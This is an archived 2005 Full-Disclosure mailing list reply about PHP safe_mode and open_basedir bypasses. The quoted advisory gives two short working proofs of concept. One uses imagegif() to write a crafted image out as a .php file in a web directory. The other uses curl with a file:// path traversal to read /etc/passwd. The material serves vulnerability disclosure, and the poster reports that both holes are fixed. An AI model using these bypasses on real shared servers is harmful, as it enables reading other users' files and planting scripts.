lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Tue Oct 18 22:31:03 2005
From: venom at gen-x.co.nz (VeNoMouS)
Subject: PHP Safedir Restriction Bypass Vulnerabilities

In reguads to the the curl, I have just checked all the php curl code this was fixed in 4.3.10 from what i can see, because i wrote a patch to stop the openbase dir in curl until php fixed it, i submited it along time ago but the php dev's were all "blah blah blah 3rd party software blah blah not our problem" 

im not sure if theres a patch for the imagegif() as i havent seen that one before.
  ----- Original Message ----- 
  From: peter MC tachatte 
  To: full-disclosure@...ts.grok.org.uk 
  Sent: Tuesday, October 18, 2005 9:55 AM
  Subject: [Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities


  There is a vulnerability (Safedir Restriction Bypass) identified within the GD extension affecting
  the following functions:
  - imagegif()
  - imagepng()
  - imagejpeg()

  in /ext/gd/gd.c  line 1647

  Which is now fixed in the cvs
  http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786 
  POC:

  with an image like http://81.57.125.106/~slythers/file.gif 
  <?php
      $im = imagecreatefromgif("file.gif");
      imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
  ?>


  curl openbasedir and safemode bypass. 
  POC:


  <?php

  mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
  $ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");

  $file=curl_exec($ch);

  echo $file;

  ?>

  As you notice, we can bypass the safedir which leads to access to any
  files on any shared servers.

  This is fixed in the cvs.
   
  slythers@...il.com
  greets: david coallier <davidc@....net>


------------------------------------------------------------------------------


  _______________________________________________
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051019/b906aec7/attachment.html

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ